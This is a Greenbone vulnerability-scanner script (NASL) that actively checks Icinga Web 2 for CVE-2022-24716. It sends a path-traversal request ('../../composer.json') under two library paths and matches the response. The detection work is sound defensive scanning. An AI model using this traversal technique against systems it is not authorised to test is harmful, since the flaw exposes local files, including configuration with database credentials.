Icinga Web 2 2.9.x < 2.9.6 Path Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:icinga:icingaweb2";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.170045");
  script_version("2025-05-06T05:40:10+0000");
  script_tag(name:"last_modification", value:"2025-05-06 05:40:10 +0000 (Tue, 06 May 2025)");
  script_tag(name:"creation_date", value:"2022-03-09 12:28:35 +0000 (Wed, 09 Mar 2022)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-03-14 13:45:00 +0000 (Mon, 14 Mar 2022)");

  script_cve_id("CVE-2022-24716");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Icinga Web 2 2.9.x < 2.9.6 Path Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2022 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_icinga_icingaweb2_consolidation.nasl");
  script_mandatory_keys("icinga/icingaweb2/http/detected");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"Icinga Web 2 is prone to a path traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Unauthenticated users can leak the contents of files of the
  local system accessible to the web-server user, including icingaweb2 configuration files with
  database credentials.");

  script_tag(name:"affected", value:"Icinga Web 2 version 2.9.x through 2.9.5.");

  script_tag(name:"solution", value:"Update to version 2.9.6 or later.");

  script_xref(name:"URL", value:"https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw");


  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

urls =  make_array(
  "/lib/icinga/icinga-php-library/", "Icinga Web 2 - bundled Icinga PHP libraries",
  "/lib/icinga/icinga-php-thirdparty/", "Icinga Web 2 - Bundle for all 3rd party PHP libraries");

vulnPath = "../../composer.json";

foreach url (keys(urls)) {
  payload = dir + url + vulnPath;
  pattern = urls[url];
  if (http_vuln_check(port: port, url: payload, pattern: pattern, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: payload);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);